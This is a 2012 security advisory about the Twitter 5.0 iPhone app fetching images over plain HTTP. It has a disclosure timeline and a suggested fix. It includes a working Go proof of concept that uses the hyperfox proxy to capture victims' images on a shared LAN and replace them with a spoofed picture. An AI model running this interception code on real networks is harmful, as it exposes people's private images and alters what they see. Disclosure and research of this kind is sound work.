## Twitter App vulnerable to eavesdropping
* Vendor: Twitter Inc.
* Product: Twitter 5.0
* Tested on: iPhone 4 (iOS 6.0)
* Vendor notification: Nov 10, 2012.
* Risk level: Low
* Researcher: Carlos Reventlov
* Link: http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm
The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via
[Man In The Middle][1], this vulnerability can lead an attacker on the same
local area network (LAN) to capture and/or modify pictures the victim
is seeing on the Twitter app.
### Details
The Twitter app communicates with the Twitter API via HTTPs connections,
however, picture images server by *.twimg.com are received through simple HTTP.
### Proof of concept
Read http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm
to see the PoC's screen captures.
This custom [hyperfox][2] server will listen on `:9999`. This PoC
captures pictures the user is seeing and sends a
bogus picture (`spoof.jpg`) instead of the original. Read the
[hyperfox][2] docs to know how to launch this PoC.
Only images on the *.twimg.com domain are targeted.
```go
/*
  Twitter App, eavesdroping PoC
  Written by Carlos Reventlov <carlos@reventlov.com>
  License MIT
*/
package main
import (
  "fmt"
  "github.com/xiam/hyperfox/proxy"
  "github.com/xiam/hyperfox/tools/logger"
  "io"
  "log"
  "os"
  "path"
  "strconv"
  "strings"
)
const imageFile = "spoof.jpg"
func init() {
  _, err := os.Stat(imageFile)
  if err != nil {
    panic(err.Error())
  }
}
func replaceAvatar(pr *proxy.ProxyRequest) error {
  stat, _ := os.Stat(imageFile)
  image, _ := os.Open(imageFile)
  host := pr.Response.Request.Host
  if strings.HasSuffix(host, "twimg.com") == true {
    if pr.Response.ContentLength != 0 {
      file := "saved" + proxy.PS + pr.FileName
      var ext string
      contentType := pr.Response.Header.Get("Content-Type")
      switch contentType {
      case "image/jpeg":
        ext = ".jpg"
      case "image/gif":
        ext = ".gif"
      case "image/png":
        ext = ".png"
      case "image/tiff":
        ext = ".tiff"
      }
      if ext != "" {
        fmt.Printf("** Saving image.\n")
        os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))
        fp, _ := os.Create(file)
        if fp == nil {
          fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
        }
        io.Copy(fp, pr.Response.Body)
        fp.Close()
        pr.Response.Body.Close()
      }
    }
    fmt.Printf("** Sending bogus image.\n")
    pr.Response.ContentLength = stat.Size()
    pr.Response.Header.Set("Content-Type", "image/jpeg")
    pr.Response.Header.Set("Content-Length",
strconv.Itoa(int(pr.Response.ContentLength)))
    pr.Response.Body = image
  }
  return nil
}
func main() {
  p := proxy.New()
  p.AddDirector(logger.Client(os.Stdout))
  p.AddInterceptor(replaceAvatar)
  p.AddLogger(logger.Server(os.Stdout))
  var err error
  err = p.Start()
  if err != nil {
    log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
  }
}
```
### Suggested fix
Use HTTPs for serving *.twimg.com images so that an attacker would not be able
to capture or modify avatars or (possible private) uploaded images.
## Disclosure timeline
* Nov 10, 2012 Vulnerability discovered.
* Nov 10, 2012 Vendor contacted.
* Nov 15, 2012 Vendor response: "planned to be fixed on next release".
* Nov 15, 2012 New release 5.1, bug is patched.
* Nov 16, 2012 Full disclosure.
[1]: http://en.wikipedia.org/wiki/Man-in-the-middle_attack
[2]: http://reventlov.com/projects/hyperfox